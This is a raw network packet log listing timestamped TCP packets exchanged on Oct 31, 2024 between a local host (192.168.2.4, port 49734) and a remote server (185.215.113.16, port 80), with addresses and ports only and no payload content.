Oct 31, 2024 20:52:08.948383093 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948410034 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948426008 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948499918 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948510885 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948522091 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948532104 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948544025 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948549986 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948553085 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948555946 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948566914 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948579073 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948585033 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948609114 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948623896 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948642015 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948654890 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948663950 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948688030 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948690891 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948698997 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948698997 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948710918 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948721886 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948723078 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948734045 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948741913 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948765039 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948769093 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948784113 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948785067 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948810101 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948841095 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.948950052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948962927 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948971987 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948982954 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.948993921 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.949002981 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.949018955 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.949018955 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.949048996 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.949125051 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.949137926 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.949148893 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.949158907 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.949171066 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.949171066 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.949182987 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.949192047 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.949220896 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.949281931 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.949295044 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.949304104 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.949315071 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.949326992 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.949326992 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.949337959 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.949351072 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.949354887 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.949362040 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.949373960 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.949387074 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.949400902 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.949419022 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.109247923 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.109424114 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.109458923 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.109478951 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.109493017 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.109504938 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.109515905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.109525919 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.109533072 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.109540939 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.109554052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.109565973 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.109570026 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.109579086 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.109622955 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.110028982 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.110039949 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.110059977 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.110073090 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.110086918 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.110089064 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.110101938 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.110105991 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.110114098 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.110137939 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.110208035 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.113238096 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113249063 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113260984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113271952 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113282919 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113297939 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.113315105 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.113341093 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.113392115 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113404036 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113414049 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113425016 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113435030 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113439083 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.113445997 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113456011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113460064 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.113475084 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113480091 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.113487959 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113497972 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113503933 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.113517046 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113526106 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.113527060 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113553047 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.113580942 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.113970041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113981009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.113991976 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.114005089 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.114016056 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.114021063 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.114027977 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.114039898 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.114049911 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.114057064 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.114069939 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.114089012 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.114113092 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.114223003 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.114237070 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.114248991 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.114279985 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.114295006 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.114739895 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.114753008 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.114763975 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.114774942 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.114784956 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.114799023 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.114825010 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.114826918 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.114837885 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.114849091 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.114866972 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.114893913 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.115041971 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.115091085 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.115176916 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.115223885 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.115463018 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.115474939 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.115485907 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.115503073 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.115510941 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.115514994 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.115524054 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.115535021 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.115540028 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.115541935 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.115546942 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.115556002 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.115591049 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.115597010 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.115609884 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.115619898 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.115638018 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.115665913 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.115787983 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.115834951 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.116239071 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116250038 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116261005 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116271973 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116282940 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116290092 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.116296053 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116307020 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116308928 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.116317987 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116329908 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116336107 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.116344929 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116350889 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.116370916 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116375923 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.116384029 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116400003 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.116404057 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116414070 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.116415977 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116426945 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116436958 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.116439104 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116450071 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116456032 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.116461992 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116472006 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116483927 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.116485119 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116494894 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116503954 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.116506100 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116516113 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116524935 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.116527081 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116539001 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116544008 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.116549015 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116559982 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116564035 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.116574049 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.116590023 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.116607904 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.116630077 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.275476933 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.275506973 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.275527000 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.275538921 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.275563955 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.275577068 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.275588989 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.275595903 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.275602102 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.275623083 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.275671959 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.275773048 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.275773048 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.276002884 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.276019096 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.276158094 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.276169062 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.276237965 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.276253939 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.276267052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.276279926 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.276289940 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.276302099 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.276313066 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.276314020 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.276323080 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.276335001 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.276344061 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.276346922 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.276375055 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.276396036 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.279170036 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.279184103 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.279195070 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.279225111 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.279257059 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.279735088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.279747009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.279757023 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.279788017 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.279814959 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.279879093 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.279925108 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.280073881 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280086994 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280097961 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280109882 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280122042 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.280150890 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.280200958 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280225992 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280236959 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280249119 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280261040 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.280261993 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280273914 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280286074 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.280287027 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280297995 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280309916 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280327082 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280327082 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.280338049 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280344963 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.280349970 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280360937 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280370951 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.280375004 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280392885 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.280417919 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.280777931 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280790091 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280802011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.280833960 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.280847073 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.281347036 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.281358004 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.281368017 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.281379938 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.281393051 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.281404018 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.281404018 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.281418085 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.281418085 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.281435966 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.281446934 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.281447887 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.281471968 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.281490088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.281497955 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.281502008 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.281513929 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.281524897 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.281532049 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.281536102 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.281558990 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.281586885 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.281985998 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.281999111 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282008886 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282021999 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282032967 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282038927 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282047033 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282058001 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282069921 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282075882 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282090902 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282109022 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282114983 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282126904 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282135963 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282139063 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282147884 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282150984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282162905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282174110 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282176971 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282191992 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282222033 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282428026 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282444954 CET	80	49734	185.215.113.16	192.168.2.4
